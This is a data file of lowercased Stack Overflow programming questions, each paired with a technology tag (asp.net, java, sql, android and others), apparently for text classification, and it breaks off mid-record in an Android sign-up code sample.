saving data in html format  in management section of a web site i saw a ms-word like control that user writes text with word effects and then she saves that text on a database and then this data displayed formatted in another part of database. i guess this control saves formatted text in html format and then uses a literal control for displaying this data. my question is wich control can do this and how do i use this control  i m using asp.net 4.0 and c# for programming language.,asp.net
help on document.getelementbyid  what is    <em>document.getelementbyid</em>    and in what context is it used in javascript     i have searched for answers on stackoverflow but cannot seem to find any.,javascript
objective c - waiting for a method from another class to complete before continuing  i am trying to display a loading indicator while i am waiting for a method in another class to return a value. the other class will use nsdata to get data from a url (for server login purposes).    i just want to know how i can stop my code in the main function to stop executing while i wait for the method in the other class to return a value. the main issue i am experiencing is that the indicator disappears because the code is continuing to run before i get a value.     my code is:   <pre><code>[self.view addsubview:loadingview]; loggedin = [classb login:username password:password]; // more code  [loadingview removefromsuperview]; </code></pre>   i just want to know how i will be able to get around the indicator not being displayer. it will be displayed if i remove the following line:   <pre><code>[loadingview removefromsuperview]; </code></pre>,objective-c
trying to understand the new behavior of appsettings.json vs web.config in .net core but confused by contradictory information on msdn  so  i m reading through all of the .net core fundamentals articles on msdn while hacking around on a new .net core mvc application in visual studio 2017. there seem to be some inconsistencies between what i m reading in the articles and what i m seeing in my application. i was hoping somebody could help me understand.    so  i understand that a new .net core project created in visual studio  by default  is configured to use the kestrel web server with an iis express web server acting as a reverse proxy when running in development.    i also understand that the asp.net core module hooks into the iis pipeline and  among other things  redirects traffic to your .net core web application.    here s what i m getting hung up on.    from the msdn article on .net core configuration:   <blockquote>    the web.config file a web.config file is required when you host the app in iis >or iis-express. web.config turns on the aspnetcoremodule in iis to launch your >app. settings in web.config enable >the aspnetcoremodule in iis to launch your >app and configure other iis settings and modules. if you are using visual >studio and delete web.config  visual studio will create a new one.  </blockquote>   i was under the impression that in .net core  application configuration had been moved out of the web.config file  and was instead controlled through a number of different mechanisms  one of which is the appsettings.json file. in fact  creating a new .net core mvc application in visual studio doesn t even create a web.config file in my solution directory.    but from the article quoted above  it sounds like the asp.net core module is still configured through a web.config file  what s confusing is that the article says visual studio will create a web.config file for me if one doesn t exist  but i ve run the application a few times and don t see a web.config file created anywhere.    what confuses me further is more seemingly contradictory information from the msdn asp.net core module reference article:   <blockquote>    the asp.net core module is configured via a site or application web.config file >and has its own aspnetcore configuration section within system.webserver. >here s an example web.config file that the microsoft.net.sdk.web sdk will >provide when the project is published for a framework-dependent deployment with >placeholders for the processpath and arguments:  </blockquote>   so wait - this says that the act of publishing my application is what creates the web.config file.    so is it only full blown iis that needs a web.config file  maybe iis express and iis both work with default behavior if no web.config is provided  but i need a web.config file if i want to override the default behavior     does anybody have a solid understanding of how this all works in .net core that is willing to set me straight,.net
my scan.nextline() doesnt work  the <code>nextline</code> function is skipped by the program. i would like to know what can i do to solve this.thanks in advance.   <pre><code>import java.io.*; import java.util.*; import java.text.*; import java.math.*; import java.util.regex.*;  public class solution {       public static void main(string[] args) {         int i = 4;         double d = 4.0;         string s =  hackerrank  ;         scanner scan = new scanner(system.in);         int a=scan.nextint();           double b=scan.nextdouble();                 string s1=scan.nextline();         system.out.println(a+i);         system.out.println(b+d);         system.out.println(s+s1);      } } </code></pre>,java
how do i configure the out of process session provider  (asp.net - iis7)  i d like to experiment with the out of process session provider in asp.net/iis7 (non-in memory). i understand that then a different process is taking care of my session state  so that i could restart the application domain/w3wp without losing session information.    however  how do i set this up  preferably pretty much transparent to my web application     thank you!,asp.net
validates_presence_of attribute that is not present on form  inside my <code>user.rb</code> model i validate presence of <code>username</code> and <code>name</code>   <pre><code> validates_presence_of :username  :name </code></pre>   however  only the <code>username</code> field is present on the form while <code>name</code> is created using a <code>before_validation</code> callback like this.    <pre><code>  def set_username_as_name_if_empty     if self.username &amp;&amp; self.username.present        self.name = self.username if self.name &amp;&amp; self.name.empty      end   end </code></pre>   this work as long as the <code>name</code> field is present on the form (as input or hidden doesn t matter).     my question is how can i achieve the same without having to add the <code>name</code> field on the form  sounds like a bit unnecessary to add it as a hidden value just because is required.     any idea,ruby-on-rails
why does a diamond with a questionmark in it � appear in my html   i have an unorder list  and � often (but not always!) appears where i have have two spaces between characters. what is causing this  and how do i prevent it,html
ios obtain ssl certificate issuer and expiration information  i am developing in objective-c for ios devices. i need help in recovering ssl certificate details like issuer  expiration. here is what my code does:   <pre><code>- (bool)connection:(nsurlconnection *)connection canauthenticateagainstprotectionspace:   (nsurlprotectionspace*)protectionspace {   if([protectionspace.authenticationmethod      isequaltostring:nsurlauthenticationmethodservertrust])   {     // get the security chain     cfindex count = sectrustgetcertificatecount([protectionspace servertrust]);     for(cfindex i = 0; i&lt; count; i++)     {         seccertificateref certificate = sectrustgetcertificateatindex([protectionspace servertrust]  i);           cfstringref description = seccertificatecopysubjectsummary(certificate);          nsdata* data = [(nsdata*)seccertificatecopydata(certificate) autorelease];  </code></pre>   }    however  the description contains the host name. how do i interpret information from data obtained using seccertificatecopydata  i would prefer using ios sdk.,ios
why is the  contains  not working  or i am doing it wrong   objectives:   <ol> <li>check if the user input is a letter</li> <li>check if it is a vowel or consonants</li> <li>check if there s a duplicate letter in a string</li> </ol>   contains not returning anything or i am using it wrong   <pre><code>scanner out = new scanner(system.in);     system.out.print( please insert a text:  );      string[] vowels = { a    e    i    o    u };      string userinput = out.nextline();     char[] charuserinput = userinput.tochararray();     string temp =   ;     string temp1 =   ;     for (int i = 0; i &lt;= charuserinput.length -1; i++){         if (character.isletter(charuserinput[i])){             if (character.tostring(charuserinput[i]).equalsignorecase(vowels[0]) || (character.tostring(charuserinput[i]).equalsignorecase(vowels[1]) ||                     (character.tostring(charuserinput[i]).equalsignorecase(vowels[2]) || (character.tostring(charuserinput[i]).equalsignorecase(vowels[3]) ||                              (character.tostring(charuserinput[i]).equalsignorecase(vowels[4])))))){                     if (!character.tostring(charuserinput[i]).contains(temp)){                         temp += character.tostring(charuserinput[i]);                     }             }else{                 if (!character.tostring(charuserinput[i]).contains(temp1)){                     temp1 += character.tostring(charuserinput[i]);                 }              }         }     }     system.out.println(temp);     system.out.println(temp1);     out.close(); </code></pre>,java
logical breakdown for dot net namespace hierarchy  i am looking for a reference/links that give good high level logical breakdown of the dot net namespace.     and if it has some indicators to individual frameworks like what s specific to asp.net  wcf  wpf  wwf etc.    any links/references/diagrams are highly appreciated.   <h2>update</h2>   <a href= http://brad_abrams.members.winisp.net/projects/pdc2008/pdc2008-netfx4.pdf  rel= nofollow noreferrer >i found one poster for .net 4.0</a>.,.net
navigating program files for either x64 or x32 <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/194157/c-sharp-how-to-get-program-files-x86-on-vista-x64 >c# - how to get program files (x86) on vista x64</a>    </blockquote>     what is the best way to handle navigating whether a computer is 64 bit or not in c#  currently i do the following in c#:   <pre><code>bool is64bit = false; </code></pre>   within the main method:   <pre><code>if (directory.exists( c:\\program files (x86) )) {     is64bit = true; } </code></pre>   is there a better way to handle program files then that   as in later when i call a process that installs by default in program files  is there a shortcut i can use other then seeing if it exists,c#
.net exe memory footprint  even a simple <a href= http://en.wikipedia.org/wiki/notepad_%28software%29  rel= noreferrer >notepad</a> application in c# consumes megabytes of ram as seen in the task manager. on minimizing the application the memory size in the task manager goes down considerably and is back up when the application is maximized.    i read somewhere that the .net process reserves a lot of memory for runtime allocation in advance. that s why .net applications have a larger memory footprint to start with. but this memory can be released using win32 api calls. a trade-off is that runtime allocation becomes slow -  is that true,.net
jscalc.io roi calculator - hopefully easy  i am new to javascript and i am trying to have an roi calculator for a marketing campaign.  i got it to the point where there are no errors coming up  but no solution is appearing.  i am using the below script:   <pre><code>     use strict ;       return {        output:[{      ownsiem:((inputs.capitaloutlay)+(inputs.annualmaintenance*(    inputs.numberofyears-  1))+((inputs.numberofindividuals*inputs.salary)*inputs.numberofyears))    britemssp:(inputs.capitaloutlay+(inputs.numberofyears*100000))} ]    totalsaving:(((inputs.capitaloutlay)+(inputs.annualmaintenance*(inputs.numberofyears-1))+((inputs.numberofindividuals*inputs.salary)*inputs.numberofyears))-((inputs.capitaloutlay+(inputs.numberofyears*100000)))) }; </code></pre>,javascript
on key press textbox not working properly  if i enter 10 digits first time it takes 10 digits but if i clear textbox1 using backspace and enter again it takes only 9 digits. it should take 10 digits because i have set textbox1.maxlength=9 means it should count 10 digits(0 to 9).   <pre><code>private void textbox1_keypress(object sender  keypresseventargs e) {  if (e.keychar !=  \b  &amp;&amp; textbox1.text.trim().length &gt; 9)         {              e.handled = true;             messagebox.show( you can t enter more than ten digits... );             textbox1.maxlength = 9;         } } </code></pre>,c#
how do i calculate the time difference between a units dispatch time and enroute time when times are in the same column  can someone help me with an sql issue.  in an sql table  how do i calculate each units time difference between that units dispatch time and en-route time for each case id (call)   <pre><code>case id     nature      transtype   description timestamp           unit 15001925    fire alarm  d           dispatched  10/01/2015 12:32:34 e99 15001925    fire alarm  e           en-route    10/01/2015 12:33:07 e99 15001925    fire alarm  d           dispatched  10/01/2015 12:32:34 e98 15001925    fire alarm  e           en-route    10/01/2015 12:33:37 e98 15001926    car fire    d           dispatched  10/01/2015 12:44:24 t98 15001926    car fire    e           en-route    10/01/2015 12:45:27 t98 </code></pre>,sql
sometimes my jquery ajax call just hangs  i ve got my users entering an email address and doing some validation as they type. it check to see if the email is in the db  and returns stuff depending on the result. problem is  1 out of 10 times it just sits there and never makes it to a success so my user is stuck looking at a loading animation.    code looks like this:   <pre><code>function check_email(email) {    var event_id = $( input[name=event_id] ).val();     // submit the data to the booking form again   $.ajax({     type:  post       url:  check_booking_email.php       cache: false      data:  booking_email= +email+ &amp;event_id= +event_id+        success: function(data) {       $( #next ).remove();       $( .booking_email_helper ).after(data);     }   });   }    $(document).ready(function(){      $( #booking_email ).keyup(function() {    var e_long = $( #booking_email ).val().length;    if(e_long &gt; 5) {      $( #checking_email .email_loader ).fadein();     $( #checking_email .text ).html ( &lt;span class= black &gt;we are just checking your email.&lt;/span&gt; );       // show checking email animator...     $( #checking_email ).fadein();       cleartimeout($.data(this   timer ));     var ms = 1000; //milliseconds     var val = this.value;     var wait = settimeout(function() {       check_email(val);     }  ms);     $.data(this   timer   wait);    } // end if e_long     }); </code></pre>   basically  on keyup  if the character length is longer than 5  load up the animation and start the ajax call...    i m wondering if there is something that stands out for you in my code which could be causing this issue of it just getting caught... is there a way that if for some reason it gets hung we can tell it to try again or something  i haven t played much with the fail result... i m wondering if it is common practice to do something like call the function inside of itself if there is a fail.    thoughts,jquery
how to put 2 images top and buttom with only html  im having troubles on one of my projects. im trying to put 2 images but different but it ends up like this.     <a href= http://i.stack.imgur.com/th3bs.png  rel= nofollow >the html</a>    <a href= http://i.stack.imgur.com/wgkpi.jpg  rel= nofollow >its not the full image but you can already see whats happening</a>    please help. if you need more info just comment back. im not that good at css so please try making html only. <strong>reply please</strong>,html
correct way of loading multiple css in a page  as per yahoo  we have to limit number of request to the server s to improve the website s performance. agreeing to it  i would to combine my css files  but i am not sure which one of below method is appropriate or corrent one to go with.   <h2>method 1</h2>   file: css1.css   <pre><code>. . . . .css1style { } . . </code></pre>   file: css2.css   <pre><code>. . . . .css2style { } . . </code></pre>   then file: parent.css   <pre><code>@import  css1.css ; @import  css2.css ; </code></pre>  <h2>method 2</h2>   fle: parent.css   <pre><code>.css1style { } .css2style { } </code></pre>   when we have a very large collection of style sheets  then the method 2 might create manageablity problem.   <ul> <li>which one is the corrent way </li> <li>if i go with method 1  will i still be following the yahoo s rule  or not </li> <li>is there a better way to do what i am attempting </li> </ul>,css
calculate time difference between action  x  and next action  non x   i would like to calculate the time difference between each action x and next(determine by time)non x action. i have attached the sample data and desired results. can anyone help      <a href= https://i.stack.imgur.com/hrtsp.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/hrtsp.png  alt= enter image description here ></a>,sql
rails has_many association returns empty array  accessing inquiries that are associated with a user does not return a list of inquiries  but rather a blank array.     for instance:   <pre><code>   user = user.first       =&gt; [valid user]    i = inquiry.first       =&gt; [valid inquiry]    i.user = user     user.inquiries      =&gt; #&lt;activerecord::associations::collectionproxy []&gt;  </code></pre>   my three models:    user.rb   <pre><code>class user &lt; activerecord::base   devise :database_authenticatable  :registerable           :recoverable  :rememberable  :trackable  :validatable    has_many :clients   has_many :inquiries end </code></pre>   client.rb   <pre><code>class client &lt; activerecord::base   belongs_to :user    validates :user_id  :name  presence: true end </code></pre>   inquiry.rb   <pre><code>class inquiry &lt; activerecord::base     belongs_to :user      validates :user_id  :client_name  presence: true end </code></pre>   the clients and inquiries models have t.references  index: true within the migration files.,ruby-on-rails
how to get attribute on a  xml  string in php  i have this string..   <pre><code> &lt;tag k= addr:country  v= uy /&gt;  </code></pre>   i want make that string into an array like   <pre><code>array(     k  =&gt;  addr:country       v  =&gt;  uy  ) </code></pre>   i planning to explode by     and explode it again by charater  =  and form the array  but i dont think that is a good code. i am wondering if there is a better way of extracting the attribute from the string.    thanks in advance/,php
how to clear the caching of the image gallery  i need to delete a file(video file) saved on my android gallery. i used file.delete();. the file is deleted in some devices. in some devices like galaxy s the status of the file says it is deleted  but it is still present in the gallery. but the video can t be played!     i found that the media gallery is doing some aggressive caching of some preview/thumbnail  so that you see it there  but can not play it - as the underlying file is gone. how to delete this cache,android
duplicate image when using asyncimageview  i have used asyncimageview lib to load image on icarousel. it duplicated images when load finish an image from url . anybody has this problem     any solution for this     edited: i have found solution!    because i used paging type so it just load 1 item at a time. so it retain the previous imageview  what i should do is reset image in this imageview by imageview.image = nil;    before load another item.,iphone
how to print address of a variable in c   i try to print the value of address and it generates an error.   <pre><code>int main() {     int arr[] = {10 20 30 40 50 60};     int *ip;     ip=&amp;arr[3];     printf( %u  ip);      return 0; } </code></pre>,c
how to call a specific class in any app from notification   in my app  i have generated a local notification. when the notification will appear it starts the app from beginning  but i want to go a specific class  not in app delegate and view controller classes. may i code in the methods like <strong>application will enter foreground</strong> delegates in app delegate class. or somewhere else.    thanks in advance.,iphone
how can i check the duration of connection in mysql   i believe <code>max_used_connections</code> is the number of mysql connections are still open and are not closed yet.   <pre><code>| variable_name            | value | +--------------------------+-------+ | innodb_row_lock_time_max | 0     | | max_used_connections     | 22    | | tc_log_max_pages_used    | 0     | +--------------------------+-------+ </code></pre>   here i want to see the list of connections with the duration how long this connection is being used. and when this connection is going to be killed. (wait_timeout variable)   <pre><code>| variable_name            | value | start time | aprox end time | hours (use) +--------------------------+-------+ | innodb_row_lock_time_max | 0     | | max_used_connections     | 22    | | tc_log_max_pages_used    | 0     | +--------------------------+-------+ </code></pre>   i set <code>wait_timeout</code> and <code>interactive_timeout</code> to 2 and still 22 connections are open. i waited for 30 minuets  i see there is no change in the max_used_connections variable.    can anyone help me,mysql
sql restricting by foreign key.  i have a royalties frame and a batches frame. batches consist of a bunch of royalties batched together.    basically when in the batch frame  it updates the unallocated royalties after an allocation has been done. however  it tries to match by royalty_id  which takes forever because there are millions of them. i want to restrict the function by batch_id so it ll massively reduce the search time  but i m not quite sure how.    thanks dan   <hr/>   current query:   <pre><code>update royalties  set allocation_status_id = proyaltystatusid  where royalties.right_type_id = prighttypeid  and royalties.work_id = pworkid  and royalties.territory_id = pterritoryid  and royalties.royalty_period_end_date = utils.fix_date(penddate);  </code></pre>,sql
custom arabic font is working in ios7 but not in ios6  i have a custom arabic font <code>.ttf</code> file. i have followed all the processes like load font with .plist file and i am ensuring that font is loading. but it is not applying in <strong>ios 6</strong>. when i switch to <strong>ios</strong> 7 it works perfectly.    please help me what is the issue,ios
modifying dictionary in one instance of a class makes same change to all other instances  i ve discovered this wierd glitch in python. i was playing around with evolution simulations  so i made loads of creatures that each has it s own genes. as you can imagine  it s important to be able to mutate the genes and create new creatures with it. i saved each creatures genes in a dictionary  and each gene was a list within the dictionary (which might have had more lists in it).     the problem arose when trying to apply mutations to the genes. if i didn t make a copy of the gene dictionary any change to the dictionary would result in a similar change in all other creatures. (not really a big problem  but i would be interested in hearing a reason for this. do dictionaries and classes not play well together )    so whats the problem  just copy the genes  right  well  the thing i discovered was that this problem also applied to the lists inside the dictionary. if i didn t want the changes to translate across all instances  i would have to copy the list (copylist = list[:]). this would happen even though i was making the changes to a copy of the original f*cking gene dictionary. what s more  any list within a list would have to get the same treatment. what s even more  i still get this problem if i make the changes in a function outside the class which i call within the class.     this is quite annoying  but i think there may be other problems i am not aware of: other ways in which the genes of other instances may be corrupted. i ve been having problems with my simulation because of this. making copy after copy after copy results in messy code.     does anybody know why this is happening  is there a simple way to fix it  below is some simplified code to illustrate the problem. i can t imagine what is going on.    tl;dr: run the code below to see some wierd voodoo shit:   <pre><code>#demonstration of a f*cking stupid phenomenon with python classes  class creature(object):     def __init__(self genes):         self.genes = genes      def changegenes(self details):         genes = self.genes.copy()         n i s = details         try:             genes[n][i] = s              self.genes = genes             #way that works             #g = genes[n][:]             #g[i] = s             #genes[n] = g             #self.genes = genes         except:             print( error: incorrect key or index )  def main():     active_objects = []     genes = { 1 : [1 2 3]                2 : [1 2 3]}     for n in range(3):         active_objects.append(creature(genes))      while true:         print( \nplease choose what to do:  )         print( 1) change genes of first creature )         print( 2) print all genes )         c = input( your choice:  )          if c ==  1 :               n = input( choose gene key:  )             i = int(input( choose gene index:  ))             s = input( choose symbol to replace gene:  )             active_objects[0].changegenes([n i s])         elif c ==  2 :             for item in active_objects:                 print(item.genes)         elif c ==  0 :             print( thank you! come again! )             break         else:             print( error: invalid input )  main() </code></pre>,python
custom arrayadapter in android updating the view of 1st entry only in listactivity  i have a listactivity showing a list of items and there is a imageview at the right end of each item which shows an arrow icon at the beginning.after a certain button press i want to replace those arrow icons with a delete icon.for this i have changed the arrayadapter of the listview and called notifydatasetchanged().in the arrayadapter s getview method i have set the imageresource for the imageview but the change is not showing on the list only the 1st entry has a changed icon.    here is the arrayadapter code:   <pre><code>private class ccadapter extends arrayadapter&lt;cccenter&gt;{      arraylist&lt;cccenter&gt; items;     int mode;     public ccadapter(context context  int textviewresourceid  arraylist&lt;cccenter&gt; items int m) {         super(context  textviewresourceid  items);         this.items=items;         this.mode=m;         // todo auto-generated constructor stub     }        @override     public view getview(int position  view convertview  viewgroup parent) {             view v = convertview;             if (v == null) {                 layoutinflater vi = (layoutinflater) getsystemservice(context.layout_inflater_service);                 v = vi.inflate(r.layout.lisitem  null);             }             final cccenter o = items.get(position);             if (o != null) {                      textview title = (textview) v.findviewbyid(r.id.ttl_txt);                     textview desc=(textview)v.findviewbyid(r.id.desc_txt);                     textview dist=(textview)v.findviewbyid(r.id.dist_txt);                     imageview icon=(imageview)findviewbyid(r.id.lst_icon);                     ratingbar rating=(ratingbar)findviewbyid(r.id.lst_ratings);                      if(title!=null)                     {                         title.settext(o.title);                     }                     if(desc!=null)                     {                         desc.settext(o.desc);                     }                     if(dist!=null)                     {                         dist.settext(o.dist);                     }                     if(rating!=null)                     {                         rating.setrating(o.rating);                     }                     if(icon!=null) //edit mode                     {                         if(this.mode==1)                         {                             icon.setimageresource(r.drawable.arrow);                         }                         else                         {                             icon.setimageresource(r.drawable.dlet);                         }                     }             }             return v;     }  } </code></pre>   in the onclick method of the button i do the following:   <pre><code>ccadapter madapter=new ccadapter(context  r.layout.lisitem  ccs 2);              mylist.this.setlistadapter(madapter);                    madapter.notifydatasetchanged();              mylist.this.getlistview().invalidateviews(); </code></pre>   but after doing this only the 1st entry of the list have a delete icon others just show the default arrow icon.what am i doing wrong,android
gap between two uitableview cells 3  i have a table view whose  gap between cells are two low. how to add gap or space between  two table view cells   i am using xcode to make uitableview.,ios
order in triggering events and functions  is there a way to perform it in this order      html:    <pre><code>&lt;button type= button &gt;click!&lt;/button&gt; </code></pre>   js:   <pre><code>window.addeventlistener( hashchange   function() {     eventfunction(); }  false);  document.queryselector( button ).addeventlistener( click   function() {     location.hash =  changed ;     otherfunction(); });  function eventfunction() {     console.log( first ); }  function otherfunction() {     console.log( second ); } </code></pre>   here is jsfiddle: <a href= https://jsfiddle.net/texzj2uv/1/  rel= nofollow noreferrer >https://jsfiddle.net/texzj2uv/1/</a>,javascript
hostname of connection source  is there any way to know from which host i have connected    <pre><code>host1&gt; mysql -h10.10.10.10 -uroot -ppasswd </code></pre>   i connect to host2 from host1    how do i know from which host i am connected     update:    i do not want to know <strong>to which host</strong> i am connected  but <strong>from which host</strong> i am connected.,mysql
how do i get all records from tablea with a left outer join and a where condition on tableb   basically  what i want is if there is a record in tableb of type  x  i want to see it  otherwise i don t  but i want all records from tablea.     i know i could accomplish this by putting the tableb.type =  x  in the left outer join on clause  but i can t do that because i m limited to using only the where condition because i m using a restricted query manager of a program i won t name  but i definitely hate. :)   <pre><code>select * from tablea  left outer join on tablea.id = tableb.id where tableb.type =  x  </code></pre>   how do i accomplish this      <strong><em>edit</em></strong>    i ve tried this  but i still don t get all records from tablea. i m testing this on sql server to avoid waiting for long periods for my query to run on the production system. i m pretty sure the production system is using oracle if that helps.   <pre><code>select * from tablea left outer join on tablea.id = tableb.id where tableb.type =  x  or tableb.type is null </code></pre>,sql
sql query: get all <parenttablerecord>s not matched to a <child> with attribute value = <value>  suppose i have a table  [owner]  with only a  name . then i have a table [dog]  with a  name   a  leashcolor   and an  ownername .    sample data:   <pre><code>owner: &lt;name: joe&gt;  &lt;name: sue&gt; dog: &lt;name: rover  leashcolor: red  ownername: joe&gt;       &lt;name: pup  leashcolor: green  ownername: joe&gt;       &lt;name: spot  leashcolor: purple  ownername: sue&gt;       &lt;name: lassie  leashcolor: yellow  ownername: sue&gt; </code></pre>   i would like a sql query that gets all owners without a dog named .  for example  the query  when the input  =  rover   would return sue because she does not have a dog named rover  but joe does.    if possible  it would be even better to have a query that gets all owners without a dog named   but if they do have a dog named   get them if the dogs leash color is     so  with input   =  rover  and  =  red   both joe and sue would be returned (sue not having a rover  joe having a rover with a red leash).  but  if the input is  rover    green   only sue would be returned (sue not having a rover  joe having a rover and color not being green).    i ve been puzzling over this one for a while.  i would be very grateful for any tips.,sql
asp.net how can i get the transaction history of paypal account on my website using paypal email id and password  asp.net how can i get the transaction history of paypal account on my website using paypal email id and password.as i want to import the paypal transaction logs in my website for financial management on my site...,asp.net
order by with distinct in sql  i have query like :   <pre><code>select distinct format(partycaseassociatedparty.assigneddate   mm/dd/yyyy ) as [*assigned date]                  format(partycaseassociatedparty.releaseddate   mm/dd/yyyy ) as [*released date] from   dbo.partycaseassociatedparty as partycaseassociatedparty where  partycaseassociatedparty.programid = 1 order  by [*assigned date] desc </code></pre>   here [*assigned date] is in mm/dd/yyyy format so while sorting(order by) it will sort based on mm/dd/yyyy but i need to sort based on yyyy/mm/dd. how to achieve this here,sql
input tag value to change color on hover  i have an input tag nested inside a list tag. here is the code:   <pre><code>&lt;li class= button &gt;&lt;input name= submit_details  type= submit  value= next  /&gt;&lt;/li&gt; </code></pre>   now when i use the following style:   <pre><code> .button:hover{color:#ffffff}   </code></pre>   the text value   next  does not change color(to white) when i hover over it.     any suggestions on how to make that work     thanks,css
how does group by work on ambiguous columns   while practicing my sql  i noticed something strange about group bys. i was working on a practice problem where we need to obtain the users with the most friends in a social network. fairly straightforward.    we could have a nested sub-query which computes the number of friends for each user. (this would be done with a group by). then match this up with our original users table. the following query does just that.   <pre><code>select name  grade from (select id1 as id  count(*) as c        from friend        group by id1) join highschooler using (id) order by c desc limit 10; </code></pre>   what i don t understand is: why does the following query return the same thing     <pre><code>select highschooler.name  count(*) as friendcount from friend join highschooler on (friend.id1 = highschooler.id) group by highschooler.id order by friendcount desc limit 10; </code></pre>   there are multiple values of highschooler.name  does sql just pick one from the group  secondly  which of the above two queries is preferred,sql
classname is missing  i have my java file under org/myorg   <pre><code>  package org.myorg;   import java.io.*;   import java.util.*;   import java.net.*;   import org.apache.hadoop.fs.*;   import org.apache.hadoop.conf.*;   import org.apache.hadoop.io.*;   import org.apache.hadoop.mapred.*;   import org.apache.hadoop.util.*;    public class write{     public static void main (string [] args) throws exception{             try{                     path pt=new path( hdfs:localhost:8020/user/jfor/out/abc );                     filesystem fs = filesystem.get(new configuration());                     bufferedwriter br=new bufferedwriter(new outputstreamwriter(fs.create(pt true)));                                                // to append data to a file  use fs.append(path f)                     string line;                     line= disha dishu daasha ;                     system.out.println(line);                     br.write(line);                     br.close();             }catch(exception e){                     system.out.println( file not found );             }     } } </code></pre>   i compiled it using   <pre><code> javac -classpath hadoop-0.20.1-dev-core.jar org/myorg/write.java </code></pre>   from the parent directory of <code>org</code>.    write.class is created under <code>org/myorg</code>    i run it using     java org.myorg.write    from the parent directory of <code>org</code>    it says   <pre><code> exception in thread  main  java.lang.noclassdeffounderror: org/apache/hadoop/fs/fsdataoutputstream     at java.lang.class.getdeclaredmethods0(native method) </code></pre>   but i downloaded jar from <a href= http://www.java2s.com/code/jar/h/downloadhadoop0201corejar.htm  rel= nofollow >this link</a>. this link says fsdataoutputstream class is present.    what could be the reason,java
this is what i m trying to write. what is the best way to write it in rails console  <pre><code>models = model.joins( inner join manufs_models on manufs_models.manuf_id = 3 or manufs_models.manuf_id = 5 or manufs_models.manuf_id = 9 or manufs_models.manuf_id = 10 ) </code></pre>   how can i write this concisely,ruby-on-rails
access the dynamic buttons with tag  hello i have some codes to create dynamic button as below:   <pre><code>- (void)viewdidload {      for (int i = 0; i &lt; 9; i++)            for (int j = 0; j &lt; 8; j++) {               forcontrolevents:uicontroleventtouchdown];              uibutton *button = [uibutton buttonwithtype:uibuttontyperoundedrect];             button.frame = cgrectmake(10+i*34   130+j*30  30   20 );             [button settitle:@ 00  forstate:  uicontrolstatenormal];             [button addtarget:self action:@selector(tapped:) forcontrolevents:uicontroleventtouchupinside];             [self.view addsubview:button];            button.tag = i;           }  } </code></pre>   i hope to access one dynamic button with tag    how can i do    welcome any comment.    thanks interdev,iphone
c# string multiplication error  i have an assignment for tafe in which i have to create a console program in visual studio that calculates the cost of a consultation based on consultation time (at $25 an hour).   <pre><code>string hours  rate  total; console.write( enter consultation time in hours ); hours = console.readline(); rate = ; total = hours * rate; console.writeline( fee is   + total); </code></pre>   my problem is on line 5  i get the error  operator  *  cannot be applied to operands of type  string  and  string;     can someone explain to me what is wrong  why 2 strings cant be multiplied and also supply an alternate method of getting that line to work     edit: thank you everyone. all info given was helpful. i ve completed it leaving the rate as an integer as its a set value not changed by user input  the hours and total are still strings  the hours converting to decimal via the convert.todecimal line gianlucabobbio gave me. the only problem now is console doesnt stay open after calculating rate * hour  but i can fix that.    you may just have a new regular user :d! appreciate the help. you re all life savers :),c#
not able to pull the sqlite database file from eclipse file explorer  i am not able to pull a sqlite database file from the directory <code>data/data/package/database</code>. i gave up pulling the file from the device  but it s showing:   <blockquote>    failed to pull the section  </blockquote>   how do i fix this problem.,android
how to send user registration to php and mysql from android   my code   <pre><code>public class signup extends fragment {  string[] gender1 = { select gender    male    female }; int[] image = {r.mipmap.ic_gender_male_female  r.mipmap.ic_gender_male_female  r.mipmap.ic_gender_male_female}; button singup; spinner spinner; textview alreadymember; string selected_gender; edittext name  email  uname  password  cpassword  dob; private progressdialog pdialog; @override public view oncreateview(layoutinflater inflater  viewgroup container                           bundle savedinstancestate) {            view v = inflater.inflate(r.layout.fragment_signup  container  false);     alreadymember = (textview) v.findviewbyid(r.id.textview6);     singup = (button) v.findviewbyid(r.id.button2);     name = (edittext) v.findviewbyid(r.id.edittext3);     email = (edittext) v.findviewbyid(r.id.edittext4);     uname = (edittext) v.findviewbyid(r.id.edittext5);     password = (edittext) v.findviewbyid(r.id.edittext6);     cpassword = (edittext) v.findviewbyid(r.id.edittext7);     spinner = (spinner) v.findviewbyid(r.id.spinner);     dob = (edittext) v.findviewbyid(r.id.edittext9);     customadapter myadapter = new customadapter(getactivity()  gender1  image);     spinner.setadapter(myadapter);     spinner.setonitemselectedlistener(new adapterview.onitemselectedlistener() {         @override         public void onitemselected(adapterview&lt; &gt; adapterview  view view  int position  long id) {              //toast.maketext(getactivity()  gender1[position]  toast.length_short).show();         }          @override         public void onnothingselected(adapterview&lt; &gt; adapterview) {          }     }); </code></pre>   call async   <pre><code>          singup.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v) {              string s[] = new string[6];             s[0] = name.gettext().tostring().trim();             s[1] = email.gettext().tostring().trim();             s[2] = uname.gettext().tostring().trim();             //s[3]=dpassword;             s[3] = cpassword.gettext().tostring().trim();             s[4] =    + spinner.getselecteditemposition();             s[5] = dob.gettext().tostring().trim();             string cgender = spinner.getselecteditem().tostring().trim();             string dpassword = password.gettext().tostring().trim();              singupasyn singupasyn = new singupasyn();             singupasyn.execute(s);       }        });  return v;} </code></pre>   asynctask here   <pre><code>    private class singupasyn extends asynctask&lt;string  void  string&gt; {     url url;     httpurlconnection connection;     outputstream outputstream;     outputstreamwriter outputstreamwriter;     bufferedwriter bufferedwriter;      @override     protected void onpreexecute() {         super.onpreexecute();         pdialog = new progressdialog(getactivity());         pdialog.setmessage(  please wait... );         pdialog.setindeterminate(false);         pdialog.setcancelable(false);         pdialog.show();     }      @override     protected string doinbackground(string... params) {         /*             receive data which is input by user          */          string cname = params[0];         string cemail = params[1];         string cuname = params[2];         string dcpassword = params[3];         string cdob = params[4];         string cgender = params[5];         try {             url = new url( here url );                         connection = (httpurlconnection) url.openconnection();             connection.setdooutput(true);             connection.setrequestmethod( post );              connection.setrequestproperty( content-type    application/json );              jsonobject jsonobject = new jsonobject();             jsonobject.accumulate( user_full_name   cname);             jsonobject.accumulate( user_email   cemail);             jsonobject.accumulate( user_name   cuname);             jsonobject.accumulate( user_password   dcpassword);             jsonobject.accumulate( user_dob   cdob);             jsonobject.accumulate( user_gender   cgender);             outputstream = connection.getoutputstream();             outputstreamwriter = new outputstreamwriter(outputstream);             outputstreamwriter.write(jsonobject.tostring());             outputstreamwriter.flush();             outputstreamwriter.close();             log.d( your data      + jsonobject);             log.v(  posturl:      +url);        int res = 